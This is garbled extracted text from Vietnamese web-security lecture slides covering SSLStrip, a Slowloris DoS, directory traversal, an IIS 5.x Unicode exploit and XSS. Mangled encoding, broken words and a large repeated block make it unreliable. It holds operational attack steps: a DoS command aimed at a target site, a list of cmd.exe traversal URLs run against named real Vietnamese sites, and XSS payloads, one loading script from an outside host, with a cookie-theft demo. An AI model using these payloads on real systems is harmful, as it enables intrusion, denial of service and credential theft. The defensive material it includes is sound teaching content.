3 Giao tiếp với maacutey nạn nhacircn với một kết nối HTTP cho tất cả caacutec kết nối HTTPS
4 Giao tiếp với server với liecircn kết HTTPS5 Tạo proxy giữa Client vagrave Server6 Thay thế caacutec higravenh ảnh như favicon bằng
những higravenh ảnh quen thuộc như caacutec khoacutea an toagraven
7 Luacutec nagravey Clinet bị đaacutenh cắp những thocircng tin quan trọng magrave khocircng biết
TargetUsingFacebook
Attacker sslstrip Proxyin the Middle
To Internet
HTTP
HTTPS
Attracter Web Server Client
Bước 1 Client gửi request tới web server với phương thức Để lấy những thocircng tin cần thiết
Bước 2Attracker đoacuteng vai trograve proxy ở giữa bắt được request vagrave chuyển sang phương thức https vagrave chuyển đến web server
Bước 3 web server sẽ gửi những reponse về cho attracker
Bước 4 Atrracker sẽ chuyển lại những nội dung vừa nhận từ web server tới client nhưng được attracker chỉnh sửa lại giống y như trang gửi về của web server
Luacutec nagravey người dugraveng cứ tưởng migravenh đang kết nối trực tiếp với Web server magrave migravenh đang thao taacutec
Mức độ nguy hiểm cao Caacutech tấn cocircng nagravey chưa thể dograve tigravem ra vagrave cho pheacutep tin tặc đaacutenh cắp mật khẩu hijack vagraveo caacutec phiecircn giao dịch ngacircn hagraveng trực tuyến hay thậm chiacute lagrave đưa ra một bản cập nhật trigravenh duyệt FireFox coacute điacutenh kegravem matilde độc
Khi truy cập website thigrave necircn gotilde theo dạng httpswebsite vagrave nhớ click vagraveo biểu tượng ổ khoacutea khi lướt web xem coacute phải certificate đoacute coacute phải lagrave của web đoacute ko hay lagrave cert giả mạo
Mocirc tả Demo Caacutech phograveng chống
Do Apache mở socket vagrave nhận data từ client (3-way handshakes đatilde hoagraven tất) cho mọi request đi vagraveo vagrave giới hạn mặt định max_client lagrave 150 Vigrave vậy khi slowloris gửi tới server những http request khocircng hoagraven chỉnh apache phải chờ cho http request nagravey time out mặt định lagrave 300s Nếu slowloris gửi liecircn tục caacutec request nagravey tới webserver thigrave chỉ trong vagravei giacircy apache đatilde đạt max_client từ chống phục vụ caacutec client khaacutec
Với giaacute trị TimeOut của apache thigrave noacute ấn định cho 3 điều chiacutenh
1 Thời gian cần thiết để nhận trọn vẹn một g i ửb ng ằ GET 2 Thời gian giữa caacutec goacutei tin TCP g i b ng ử ằ POST hoặc PUT (coacute chứa data) 3 Thời gian giữa caacutec cuacute TCP ACK trong quaacute trigravenh chuyển tải dữ liệu giữa client (browser) vagrave web server (apache)
Nếu apache khocircng dugraveng giaacute trị TimeOut chung như thế nagravey magrave gaacuten TimeOut cụ thể cho từng loại GET POST HEAD thậm chiacute cụ thể hơn cho từng ấn định như LimitRequestLine LimitRequestFieldSize thigrave TimeOut cho loại nagravey coacute thể được kiểm soaacutet chặt chẽ vagrave hữu lyacute hơn
Cơ chế xử lyacute một request của apache khaacute chặt chẽ noacute coacute đến 7 phase khaacutec nhau (unescapes URL strips parent and elements from the URI initial URI location walk translate_name Hook map_to_storage URI location walk Hook header_parser) Tuy nhiecircn đến phase parse header của một HTTP request thigrave noacute bị chết bởi slowloris vigrave apache hoagraven toagraven khocircng coacute cơ chế nagraveo kiểm tra nội dung của header cho đến khi noacute nhận được đầy đủ (dựa vagraveo CRLF character trecircn HTTP header) Socket do slowloris khởi tạo vẫn giữ nguyecircn ở đoacute vagrave apache vẫn chờ cho đến khi TimeOut
Yecircu c u ầ Dugraveng ph n m m ActivePerlầ ề Coacute file dosapchepl Vagraveo cmd gotilde lệnh
perl tecircn đường dẫn chứa file dosapchepl ndashdns tecircn trang web cần dos
Ruacutet ngắn TimeOut xuống đến mức tối thiểu thigrave slowloris trở necircn vocirc taacutec dụng nh ng s nh ư ẽ ảh ng t i caacutec rerequest khaacutec khocircng ph do ưở ớ ảslowloris gửi tới
Dugraveng iptables chặn những những ip gửi nhiều request liecircn tục ( Phương aacuten nagravey coacute thể dẫn đến việc chặn nhầm caacutec proxy)
Dugraveng haproxy để cho gửi những request hoagraven chỉnh tới apche
Dugraveng mod_antiloris giới hạn số lượng kết nối đồng thời của 1 địa chỉ ip giử những request tới
I Khaacutei niệmII Directory Traversal Attack theo ứng dụng
webIII Directory Traversal Attack theo WebserverIV Lagravem thế nagraveo để kiểm tra lỗ hổng Directory
Traversal V Ngăn chặn Directory Traversal AttackVI Taacutec hại
Kiểm soaacutet việc truy cập nội dung của 1 trang web lagrave rất quan trọng đối với 1 webserver
Directory Traversal Attack Path Traversal hay cograven được biết với một số tecircn khaacutec như ldquodot-dot-slashrdquo ldquodirectory traversalrdquordquodirectory clumbingrdquo vagrave ldquobacktrackingrdquo lagrave higravenh thức tấn cocircng truy cập đến những file vagrave thư mục magrave được lưu becircn ngoagravei thư mục webroot
Maacutey chủ web cung cấp hai cấp độ chiacutenh của cơ chế bảo mật Access Control Lists (ACLs) vagrave Root directory
Access Control Lists (ACL) được sử dụng trong quaacute trigravenh uỷ quyền
Noacute lagrave một danh saacutech magrave caacutec maacutey chủ web của quản trị viecircn sử dụng để chỉ những người dugraveng hoặc caacutec nhoacutem coacute thể truy cập sửa đổi hoặc thực thi caacutec tập tin cụ thể trecircn maacutey chủ cũng như quyền truy cập khaacutec
Caacutec thư mục gốc lagrave một thư mục cụ thể trecircn hệ thống tập tin maacutey chủ trong đoacute người sử dụng bị hạn chế
Người dugraveng khocircng thể truy cập bất cứ điều gigrave ở trecircn gốc nagravey
Viacute dụ caacutec thư mục gốc mặc định của IIS trecircn
Windows lagrave C Inetpub wwwroot vagrave với thiết lập nagravey một người dugraveng khocircng coacute
quyền truy cập vagraveo C Windows nhưng coacute quyền truy cập vagraveo C Inetpub wwwroot
vagrave bất kỳ thư mục khaacutec vagrave caacutec tập tin theo thư mục gốc (được cung cấp cho người dugraveng được xaacutec thực thocircng qua ACL)
Lỗ hổng nagravey coacute thể tồn tại hoặc trong caacutec phần mềm maacutey chủ web riecircng của migravenh hoặc trong matilde ứng dụng web
Để thực hiện một cuộc tấn cocircng theo cacircy thư mục tất cả caacutec nhu cầu của kẻ tấn cocircng lagrave một trigravenh duyệt web vagrave một số thocircng tin tigravem thấy trongbất kỳ tập tin vagrave thư mục mặc định trecircn hệ thống
Trong caacutec ứng dụng web với caacutec trang dynamic input thường nhận được từ caacutec trigravenh duyệt thocircng qua phương thức GET hoặc yecircu cầu POST Dưới đacircy lagrave một viacute dụ của một yecircu cầu HTTP GET URL
httptestwebarticlescomshowaspview=oldarchivehtml
Với URL nagravey trigravenh duyệt yecircu cầu hiển thị showasp động từ maacutey chủ vagrave cugraveng với noacute cũng sẽ gửi tham số ldquoView với giaacute trị của oldarchivehtml
Khi yecircu cầu nagravey được thực thi trecircn maacutey chủ web showasp tigravem file oldarchivehtm từ hệ thống tập tin của maacutey chủ gửi noacute trở lại trigravenh duyệt sau đoacute hiển thị cho người dugraveng
Hackers sẽ giả định rằng showasp coacute thể lấy caacutec tập tin từ hệ thống tập tin vagrave gửi URL tuỳ chỉnh
httptestwebarticlescomshowaspview=Windowssystemini
Trang web sẽ lấy file systemini từ hệ thống tập tin vagrave hiển thị noacute cho người dugraveng
Những biểu hiện hướng dẫn của hệ thống để đi một trong những thư mục cao hơn magrave thường được sử dụng để chứa caacutec file hệ thống
Kẻ tấn cocircng coacute thể đoaacuten được thư mục coacute bao nhiecircu cấp để tigravem thư mục Windows trecircn hệ thống nhưng đacircy lagrave một caacutech dễ dagraveng thực hiện bằng caacutech thử với caacutec cấp khaacutec nhau
Ngoagravei lỗ hổng trong caacutec matildeNgay cả bản thacircn webserver cũng coacute thể tạo điều kiện cho caacutec cuộc tấn cocircng Directory Traversal
Lỗi coacute thể phaacutet sinh do phần mềm web server hoặc trong một số file script coacute sẵn trecircn server
Lỗi đatilde được phaacutet sinh sẵn trong caacutec phiecircn bản của phần mềm werver web coacute những webserver trực tuyến magrave vẫn cograven sử dụng phiecircn bản cũ của IIS vagrave Apache magrave coacute thể mắc lỗi Directory Traversal
Bạn coacute thể coacute một số thư mục mặc định chứa những file Script nhạy cảm coacute thể khai thaacutec được cũng được hacker khai thaacutec
Viacute dụ một yecircu cầu URL lagravem cho việc sử dụng thư
mục script của IIS tới thư mục đi qua vagrave thực thi một lệnh coacute thể được
httpservercomscripts5cWindowsSystem32 cmdexec+dir+c cmdexe c + dir + c
ldquo 5crdquo lagrave 1 matilde trong URL yecircu cầu một webserver sử dụng để đại diện cho kiacute tự thường dugraveng Trong trường hợp nagravey ldquo 5crdquo đại diện cho caacutec kyacute tự
Những phiecircn bản mới của caacutec phần mềm webserver sẽ cấm vagrave khocircng co caacutec matilde nagravey hoạt độngTuy nhiecircn một số phiecircn bản cũ hơn khocircng lọc ra caacutec matilde trong thư mục gốc vagrave sẽ cho pheacutep hacker thực thi lệnh đoacute
Caacutec yecircu cầu sẽ trả lại cho người dugraveng một danh saacutech tất cả file trong ổ C bằng caacutech thực hiện lệnh dir c trong cmd
Trong quaacute trigravenh khai thaacutec k t n cocircng coacute th encode ho c ẻ ấ ể ặdouble encode s d ng 00(null) đ bypass filter magrave ử ụ ểWebsite đoacute aacutep d ngụ
2e2e2f mocirc tả cho 2e2e mocirc tả cho 2f mocirc tả cho 2e2e5c mocirc tả cho 2e2e mocirc tả cho 5c mocirc tả cho 252e252e255c mocirc tả cho 255c mocirc tả cho hellip
Đối với UTF-8 c0af mocirc tả cho c19c mocirc tả cho
Khi tiếp cận với một ứng dụng Web việc kiểm tra noacute coacute khả năng bị lỗi Path Traversal coacute thể được thực hiện bằng hai loại
+ Nếu kẻ tấn cocircng khocircng thể coacute source thigrave chuacuteng sẽ dugraveng spider crawler để thực hiện kiểm tra Website vagrave từ những kết quả magrave spider mang lại chuacuteng sẽ lần lượt kiểm tra caacutec biến đối với caacutec phương thức GET POST hoặc COOKIE magrave coacute khả năng bị lỗi
+ Nếu kẻ tấn cocircng coacute source code thigrave coacute thể tigravem kiếm những hagravem của những ngocircn ngữ lập trigravenh Web magrave coacute khả năng gacircy ra lỗi Path Traversal như
PHP include() include_once() require() require_once() fopen() readfile() JSPServlet javaioFile() javaioFileReader() ASP include file include virtual
Caacutech tốt nhất để kiểm tra xem trang web vagrave caacutec ứng dụng của bạn lagrave dễ bị tấn cocircng Directory Traversal lagrave sử dụng một Web Vulnerability Scanner
Web Vulnerability Scanner scan toagraven bộ trang web của bạn vagrave tự động kiểm tra lỗ hổng Directory Traversal Noacute sẽ thocircng baacuteo caacutec lỗi vagrave lagravem thế nagraveo để sửa chữa noacute
Trước hết đảm bảo bạn đatilde cagravei đặt phiecircn bản mới nhất của phần mềm Webserver (ISS Apache) bạn đang dugraveng vagrave chắc chắn rằng tất cả caacutec bản vaacute lỗi đatilde được aacutep dụng
kiểm tra biến cẩn thận (coacute thể aacutep dụng filter) khi sử dụng caacutec hagravem đatilde giới thiệu ở trecircn magrave coacute khả năng gacircy ra lỗi cho pheacutep kẻ tấn cocircng thực hiện Path Traversal
Với một hệ thống dễ bị Directory Traversal kẻ tấn cocircng coacute thể lagravem cho việc sử dụng lỗ hổng nagravey truy cập caacutec bộ phận khaacutec của hệ thống tập tin từ thư mục gốc
Điều nagravey coacute thể cung cấp cho những kẻ tấn cocircng khả năng xem những tập tin bị giới hạn hoặc thậm chiacute nguy hiểm hơn cho pheacutep kẻ tấn cocircng thực thi lệnh trecircn webservercoacute thể dẫn đến hacker coacute quyền đầy đủ trecircn hệ thống
Tuy nhiecircn một số filter như saustr_replace($_GET[help_file]) thigrave vẫn bị lỗi bởi lẽ kẻ tấn cocircng coacute thể sử dụng ldquohelliprdquo như thế sau khi qua code lọc ở trecircn noacute sẽ trở thagravenh ldquordquo
Rotilde ragraveng việc lọc như vậy vẫn khocircng triệt đểThay vagraveo đoacute caacutec bạn necircn sử dụng caacutec biểu thức chiacutenh để lọc tốt hơn eregi([]$_GET[help_file])
I KHAacuteI NIỆMII HOẠT ĐỘNG NHƯ THẾ NAgraveO III PHAacuteT HIỆN XSS BẰNG CAacuteCH NAgraveO IV CAacuteCH PHOgraveNG CHỐNG LỖI XSSV DEMO
IIS(Internet Information Service ) lagrave 1 ng d ng ứ ụwebserver mang th ng hi u c a Microsoftươ ệ ủ
IIS server v i caacutec phiecircn b n t tr c đ n phiecircn ớ ả ừ ướ ếb n 5x đ u coacute l i đ ta coacute th khai thaacutec m c đ nh ả ề ỗ ể ể ặ ịtiacutenh năng hit highlight c a IIS 5x b qua giai ủ ỏđo n ch ng th c c b n ạ ứ ự ơ ả
L i n m ph n l c IDA ISAPI (Internet Services ỗ ằ ở ầ ọApplication Programming Interface) noacute cho pheacutep m t maacutey tiacutenh t xa đ a l nh yecircu c u li t kecirc danh ộ ừ ư ệ ầ ệsaacutech file coacute trong h th ng maacuteyệ ố
Hacker coacute th s d ng th thu t đ n gi n lagrave g i ể ử ụ ủ ậ ơ ả ửcho maacutey ch m t kh i l ng x lyacute thocircng tin nhi u ủ ộ ố ượ ử ềh n kh năng c a noacute L ng thocircng tin ch a k p x ơ ả ủ ượ ư ị ửlyacute đoacute - v m t k thu t đ c g i lagrave ldquoshell coderdquo - coacute ề ặ ỹ ậ ượ ọth mang m t lo t caacutec cacircu l nh cho pheacutep k xacircm ể ộ ạ ệ ẻnh p ki m soaacutet maacutey tiacutenh n n nhacircn ậ ể ạ
httpwwwcanthogovvn httpwwwcantho1260net httphanhtrangsinhviennet httphauionlinecom httpdaynghedientucom httpsinhvienbinhdinhvn hellip Do l i nagravey đatilde l i th i necircn coacute th 1 s trang nagravey ỗ ỗ ờ ể ố
đatilde fix đ c l i trecircn ượ ỗ
Đ hack IIS server 5x ta dugraveng 2 cocircng c activeperl IE vagrave ể ụ1 exploit Unicodepl
Xaacutec đ nh trang web m c l i nagraveyị ắ ỗ S d ng telnet đ xaacutec đ nh trang Web ta t n cocircng coacute s ử ụ ể ị ấ ử
d ng IIS server 50 hay khocircng ụ
telnet lt tecircn trang Web gt 80 GET HEAD HTTP10
N u noacute khocircng baacuteo cho ta bi t trang web đang s d ng ch ng ế ế ử ụ ươtrigravenh gigrave thigrave caacutec b n hatildey thay đ i c ng 80 b ng caacutec c ng khaacutec ạ ổ ổ ằ ổnh 8080 81 8000 8001 vvhellip ư
Sau khi đatilde xaacutec đ nh đ c m c tiecircu caacutec b n vagraveo ị ượ ụ ạRun gt CMD gotilde
code perl unicodepl Host ( gotilde đ a ch server magrave caacutec b n mu n hack ) ị ỉ ạ ốPort 80 ( ho c 8080 81 8000 8001 tuỳ theo ặc ng magrave ta đatilde telnet tr c đoacute ) ổ ướ
Caacutec b n s th y b ng li t kecirc l i ( đatilde đ c l p trigravenh trong Unicodepl ) ạ ẽ ấ ả ệ ỗ ượ ậnh sau ư
[1] scriptsc0afwinntsystem32cmdexec+ [2]scriptsc19cwinntsystem32cmdexec+ [3] scriptsc1pcwinntsystem32cmdexec+ [4]scriptsc09vwinntsystem32cmdexec+ [5] scriptsc0qfwinntsystem32cmdexec+ [6] scriptsc18swinntsystem32cmdexec+ [7] scriptsc11cwinntsystem32cmdexec+ [8] scriptsc19cwinntsystem32cmdexec+ [9] scriptsc1afwinntsystem32cmdexec+ [10] scriptse080afwinntsystem32cmdexec+ [11]scriptsf08080afwinntsystem32cmdexec+ [12] scriptsf8808080afwinntsystem32cmdexec+ [13]scriptsfc80808080afwinntsystem32cmdexec+ [14]msadce080afe080afe080afwinntsystem32cmdexec+
[15]cgi-binc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [16]samplesc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [17]iisadmpwdc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [18]_vti_cnfc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [19]_vti_binc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [20]adsamplesc0afc0afc0afc0afc0afwinntsystem32cmdexec+
Caacutec b n s th y đ c t t c caacutec l i trecircn n u trang Web n n ạ ẽ ấ ượ ấ ả ỗ ế ạnhacircn b t t c nh ng l i nh v y n u server c a n n nhacircn ị ấ ả ữ ỗ ư ậ ế ủ ạch b l i th 13 vagrave 17 thigrave b ng k t qu ch xu t hi n dograveng ỉ ị ỗ ứ ả ế ả ỉ ấ ệth 13 vagrave 17 magrave thocirci ứVD
b ng k t qu cho ta bi t trang Web n n nhacircn b l i th 3 ả ế ả ế ạ ị ỗ ứvagrave 7 ta s vagraveo IE vagrave nh p đo n matilde t ng ng trecircn ẽ ậ ạ ươ ứAddress
httpwww4rumcomscriptsc1pcwinntsystem32cmdexec+ lt == l i dograveng th 3 ỗ ứho c ặhttpwww4rumcomscriptsc11cwinntsystem32cmdexec+ lt == l i dograveng th 7 ỗ ứ
VD Đ th y đ c n i dung C ta gotilde đ a ch sauể ấ ượ ộ ổ ị ỉ httpwwwtnhcomvn_vti_binc0af
c0afc0afc0afc0afwinntsystem32cmdexec+dir+c
Th ng thigrave source trang web đ t ườ ặ ởinetpubwwwroot
Microsoft khuy n caacuteo ng i dugraveng necircn nacircng c p ế ườ ấlecircn phiecircn b n IIS 60 v i kh năng b o m t t t ả ớ ả ả ậ ốh nơ
Dugrave v y nh ng Microsoft v n khocircng xem l i IIS ậ ư ẫ ỗ5x lagrave m t l i th c s vagrave khocircng phaacutet hagravenh b n ộ ỗ ự ự ảvaacute l i Thay vagraveo đoacute Microsoft l i đ a ra m t ỗ ạ ư ộh ng d n 6 b c nh m giuacutep ng i dugraveng gi m ướ ẫ ướ ằ ườ ảb t nguy c b t n cocircng ớ ơ ị ấ
Cross-Site Scripting (hay cograven được gọi tắt lagrave XSS ) lagrave một kĩ thuật tấn cocircng bằng caacutech chegraven vagraveo caacutec website động (ASP PHP CGI JSP ) những thẻ HTML hay những đoạn matilde script nguy hiểm coacute thể gacircy nguy hại cho những người sử dụng
Trong đoacute những đoạn matilde nguy hiểm đựơc chegraven vagraveo hầu hết được viết bằng caacutec Client-Site Script như JavaScript Jscriptvagrave cũng coacute thể lagrave cả caacutec thẻ HTML
Về cơ bản XSS cũng như SQL Injection noacutecũng lagrave caacutec yecircu cầu (request) được gửi từcaacutec maacutey client tới server nhằm chegraven vagraveo đoacutecaacutec thocircng tin vượt quaacute tầm kiểm soaacutet củaserverCoacute thể lagrave một request được gửi từ caacutec formdữ liệu hoặc cũng coacute thể đoacute chỉ lagrave caacutec URL
Attacker sẽ chegraven caacutec đoạn matilde vagraveo link của đường dẫn để thực thi trecircn trigravenh duyệt của người dugraveng dẫn đến việc mất cookies mật khẩu session hay fishing lừa đảo hay chegraven virus
Xss thường coacute dạng như sau httpwwwhcmuafeduvncontentsphpids=
ldquoltscriptgtalert(22222)ltscriptgtrdquoampur=admin Kết quả một thocircng baacuteo 22222
C1Dugraveng caacutec tool để queacutet caacutec trang webcaacutec tool hỗ trợ sẽ tigravem kiếm lỗi
C2Chegraven vagraveo caacutec đoạn script vagraveo caacutec form inputbao gồm 5 bước sau đacircy
B1Mở website cần khai thaacutec B2 Xaacutec định caacutec site coacute form để nhập dữ liệu
input như lagrave đăng nhậptigravem kiếmcomment nhập vagraveo một chuỗi textở đacircy nhập ldquoxssrdquo
B3Xem thocircng tin trả vềnếu chuacuteng ta thấy như sauldquoCaacutec chữ bạn tigravem khocircng thấy trong dữ liệurdquo lsquoTagravei khoản XSS khocircng chiacutenh xaacutecrsquo lsquoĐăng nhập với XSS khocircng thagravenh cocircngrsquohellip
B4Khi xaacutec định được vugraveng lỗi thigrave ta chegraven caacutec đoạn script để tiếp tục xaacutec định lỗi
VdltSCRIPTgtalert(xss)ltSCRIPTgt Nếu như kết quả trả về lagrave một thocircng
baacuteoxss thigrave chắc chắn trang đoacute bị lỗi xss Nếu khocircng hiện được thocircng baacuteo thigrave ta
viewsouce lecircn vagrave tigravem từ xss nếu coacute thigrave chắc chắn bị lỗi
B5 Lập kế hoạch tấn cocircng
B4Ta sẽ chegraven caacutec đoạn script coacute dạng như sau vagraveo thanh nhập địa chỉ hay caacutec form đăng nhập
Viacute dụxuất ra một thocircng baacuteo lagrave xss3 ldquoltSCRIPTgtalert(StringfromCharCode(888383))ltS
CRIPTgtrdquo ldquoltSCRIPTgtalert(xss)ltSCRIPTgtrdquo ldquoltSCRIPT
SRC=httphackersorgxssjsgtltSCRIPTgtrdquo ltIMG SRC=javascriptalert(XSS)gtldquo ldquoltSCRIPTgtalert(31323233)ltSCRIPTgtrdquo
matilde hex value url ldquoltSCRIPTgtalert(ampx78ampx73ampx73)ltSCRIPTgtrdquo
matilde hex value htmlTham khảo trecircn httphackersorgxsshtml
Một tấn cocircng XSS chỉ thực hiện được khi gửi một trang web cho trigravenh duyệt web của nạn nhacircn coacute kegravem theo matilde script độc của kẻ tấn cocircng
Vigrave vậy caacutec người phaacutet triển web phải coacute chế độ lọc dữ liệu input hoặc web server phải coacute chế độ matilde hoacutea
Lọcbằng caacutech lọc caacutec kiacute tự meta (kiacute tự đặc biệt) được định nghĩa trong đặc tả của HTML
Matilde hoacuteaMatilde hoacutea phiacutea maacutey chủ lagrave một tiến trigravenh magrave tất cả nội dung phaacutet sinh động sẽ đi qua một hagravem matilde hoacutea nơi magrave caacutec thẻ script sẽ được thay thể bởi matilde của noacute
Yacute nghĩa c a đo n demo lagrave l y cookie c a ng i ủ ạ ấ ủ ườdugraveng thocircng qua l i xssỗ
B1Tigravem l i trecircn vieclambankcomỗ B2Attacker t o host đ nh s ng m 4 file sauạ ị ẵ ồ + indexhtml th c hi n scriptự ệ + luutxt l u cookie ư + xuliphp x lyacute cookie ử + xssjs l y cookieấ B3Attacker g i email t i ng i dugraveng trong đoacute s coacute ử ớ ườ ẽ
đ ng link đ n trang attackerườ ế
B4Người dugraveng đăng nhập vagraveo vieclambank B5Người dugraveng truy cập vagraveo email nhấn vagraveo
link sang trang attacker B6Attacker lấy cookie về vagrave sử dụng
Caacutec connection nagraveo từ Client đi ra Internet theo dạng https thigrave bị SSLStrip drop chỉ cho đi theo dạng http Viacute dụ Client gotilde vagraveo URL httpsmailgooglecom thigrave khi nagravey SSLStrip noacute sẽ drop goacutei tin đoacute đồng thời baacuteo cho Client lagrave magravey cứ đi ra theo httpmailgooglecom vagrave trecircn Web Browser của client sẽ hiện ra 1 bảng thocircng baacuteo sai cert Nhưng client truy cập vagraveo gmail theo http ( user+pass được POST lecircn gmail theo dạng Plaintext =gt khi nagravey thigrave attacker dễ dagraveng lagravem việc với caacutec goacutei tin đi theo dạng http)
1 Tạo một Main In The Middle trecircn caacutec kết nối HTTP
2 Thay thế tất cả caacutec liecircn kết với những HTTPS bằng HTTP
3 Giao tiếp với maacutey nạn nhacircn với một kết nối HTTP cho tất cả caacutec kết nối HTTPS
4 Giao tiếp với server với liecircn kết HTTPS5 Tạo proxy giữa Client vagrave Server6 Thay thế caacutec higravenh ảnh như favicon bằng
những higravenh ảnh quen thuộc như caacutec khoacutea an toagraven
7 Luacutec nagravey Clinet bị đaacutenh cắp những thocircng tin quan trọng magrave khocircng biết
TargetUsingFacebook
Attacker sslstrip Proxyin the Middle
To Internet
HTTP
HTTPS
Attracter Web Server Client
Bước 1 Client gửi request tới web server với phương thức Để lấy những thocircng tin cần thiết
Bước 2Attracker đoacuteng vai trograve proxy ở giữa bắt được request vagrave chuyển sang phương thức https vagrave chuyển đến web server
Bước 3 web server sẽ gửi những reponse về cho attracker
Bước 4 Atrracker sẽ chuyển lại những nội dung vừa nhận từ web server tới client nhưng được attracker chỉnh sửa lại giống y như trang gửi về của web server
Luacutec nagravey người dugraveng cứ tưởng migravenh đang kết nối trực tiếp với Web server magrave migravenh đang thao taacutec
Mức độ nguy hiểm cao Caacutech tấn cocircng nagravey chưa thể dograve tigravem ra vagrave cho pheacutep tin tặc đaacutenh cắp mật khẩu hijack vagraveo caacutec phiecircn giao dịch ngacircn hagraveng trực tuyến hay thậm chiacute lagrave đưa ra một bản cập nhật trigravenh duyệt FireFox coacute điacutenh kegravem matilde độc
Khi truy cập website thigrave necircn gotilde theo dạng httpswebsite vagrave nhớ click vagraveo biểu tượng ổ khoacutea khi lướt web xem coacute phải certificate đoacute coacute phải lagrave của web đoacute ko hay lagrave cert giả mạo
Mocirc tả Demo Caacutech phograveng chống
Do Apache mở socket vagrave nhận data từ client (3-way handshakes đatilde hoagraven tất) cho mọi request đi vagraveo vagrave giới hạn mặt định max_client lagrave 150 Vigrave vậy khi slowloris gửi tới server những http request khocircng hoagraven chỉnh apache phải chờ cho http request nagravey time out mặt định lagrave 300s Nếu slowloris gửi liecircn tục caacutec request nagravey tới webserver thigrave chỉ trong vagravei giacircy apache đatilde đạt max_client từ chống phục vụ caacutec client khaacutec
Với giaacute trị TimeOut của apache thigrave noacute ấn định cho 3 điều chiacutenh
1 Thời gian cần thiết để nhận trọn vẹn một g i ửb ng ằ GET 2 Thời gian giữa caacutec goacutei tin TCP g i b ng ử ằ POST hoặc PUT (coacute chứa data) 3 Thời gian giữa caacutec cuacute TCP ACK trong quaacute trigravenh chuyển tải dữ liệu giữa client (browser) vagrave web server (apache)
Nếu apache khocircng dugraveng giaacute trị TimeOut chung như thế nagravey magrave gaacuten TimeOut cụ thể cho từng loại GET POST HEAD thậm chiacute cụ thể hơn cho từng ấn định như LimitRequestLine LimitRequestFieldSize thigrave TimeOut cho loại nagravey coacute thể được kiểm soaacutet chặt chẽ vagrave hữu lyacute hơn
Cơ chế xử lyacute một request của apache khaacute chặt chẽ noacute coacute đến 7 phase khaacutec nhau (unescapes URL strips parent and elements from the URI initial URI location walk translate_name Hook map_to_storage URI location walk Hook header_parser) Tuy nhiecircn đến phase parse header của một HTTP request thigrave noacute bị chết bởi slowloris vigrave apache hoagraven toagraven khocircng coacute cơ chế nagraveo kiểm tra nội dung của header cho đến khi noacute nhận được đầy đủ (dựa vagraveo CRLF character trecircn HTTP header) Socket do slowloris khởi tạo vẫn giữ nguyecircn ở đoacute vagrave apache vẫn chờ cho đến khi TimeOut
Yecircu c u ầ Dugraveng ph n m m ActivePerlầ ề Coacute file dosapchepl Vagraveo cmd gotilde lệnh
perl tecircn đường dẫn chứa file dosapchepl ndashdns tecircn trang web cần dos
Ruacutet ngắn TimeOut xuống đến mức tối thiểu thigrave slowloris trở necircn vocirc taacutec dụng nh ng s nh ư ẽ ảh ng t i caacutec rerequest khaacutec khocircng ph do ưở ớ ảslowloris gửi tới
Dugraveng iptables chặn những những ip gửi nhiều request liecircn tục ( Phương aacuten nagravey coacute thể dẫn đến việc chặn nhầm caacutec proxy)
Dugraveng haproxy để cho gửi những request hoagraven chỉnh tới apche
Dugraveng mod_antiloris giới hạn số lượng kết nối đồng thời của 1 địa chỉ ip giử những request tới
I Khaacutei niệmII Directory Traversal Attack theo ứng dụng
webIII Directory Traversal Attack theo WebserverIV Lagravem thế nagraveo để kiểm tra lỗ hổng Directory
Traversal V Ngăn chặn Directory Traversal AttackVI Taacutec hại
Kiểm soaacutet việc truy cập nội dung của 1 trang web lagrave rất quan trọng đối với 1 webserver
Directory Traversal Attack Path Traversal hay cograven được biết với một số tecircn khaacutec như ldquodot-dot-slashrdquo ldquodirectory traversalrdquordquodirectory clumbingrdquo vagrave ldquobacktrackingrdquo lagrave higravenh thức tấn cocircng truy cập đến những file vagrave thư mục magrave được lưu becircn ngoagravei thư mục webroot
Maacutey chủ web cung cấp hai cấp độ chiacutenh của cơ chế bảo mật Access Control Lists (ACLs) vagrave Root directory
Access Control Lists (ACL) được sử dụng trong quaacute trigravenh uỷ quyền
Noacute lagrave một danh saacutech magrave caacutec maacutey chủ web của quản trị viecircn sử dụng để chỉ những người dugraveng hoặc caacutec nhoacutem coacute thể truy cập sửa đổi hoặc thực thi caacutec tập tin cụ thể trecircn maacutey chủ cũng như quyền truy cập khaacutec
Caacutec thư mục gốc lagrave một thư mục cụ thể trecircn hệ thống tập tin maacutey chủ trong đoacute người sử dụng bị hạn chế
Người dugraveng khocircng thể truy cập bất cứ điều gigrave ở trecircn gốc nagravey
Viacute dụ caacutec thư mục gốc mặc định của IIS trecircn
Windows lagrave C Inetpub wwwroot vagrave với thiết lập nagravey một người dugraveng khocircng coacute
quyền truy cập vagraveo C Windows nhưng coacute quyền truy cập vagraveo C Inetpub wwwroot
vagrave bất kỳ thư mục khaacutec vagrave caacutec tập tin theo thư mục gốc (được cung cấp cho người dugraveng được xaacutec thực thocircng qua ACL)
Lỗ hổng nagravey coacute thể tồn tại hoặc trong caacutec phần mềm maacutey chủ web riecircng của migravenh hoặc trong matilde ứng dụng web
Để thực hiện một cuộc tấn cocircng theo cacircy thư mục tất cả caacutec nhu cầu của kẻ tấn cocircng lagrave một trigravenh duyệt web vagrave một số thocircng tin tigravem thấy trongbất kỳ tập tin vagrave thư mục mặc định trecircn hệ thống
Trong caacutec ứng dụng web với caacutec trang dynamic input thường nhận được từ caacutec trigravenh duyệt thocircng qua phương thức GET hoặc yecircu cầu POST Dưới đacircy lagrave một viacute dụ của một yecircu cầu HTTP GET URL
httptestwebarticlescomshowaspview=oldarchivehtml
Với URL nagravey trigravenh duyệt yecircu cầu hiển thị showasp động từ maacutey chủ vagrave cugraveng với noacute cũng sẽ gửi tham số ldquoView với giaacute trị của oldarchivehtml
Khi yecircu cầu nagravey được thực thi trecircn maacutey chủ web showasp tigravem file oldarchivehtm từ hệ thống tập tin của maacutey chủ gửi noacute trở lại trigravenh duyệt sau đoacute hiển thị cho người dugraveng
Hackers sẽ giả định rằng showasp coacute thể lấy caacutec tập tin từ hệ thống tập tin vagrave gửi URL tuỳ chỉnh
httptestwebarticlescomshowaspview=Windowssystemini
Trang web sẽ lấy file systemini từ hệ thống tập tin vagrave hiển thị noacute cho người dugraveng
Những biểu hiện hướng dẫn của hệ thống để đi một trong những thư mục cao hơn magrave thường được sử dụng để chứa caacutec file hệ thống
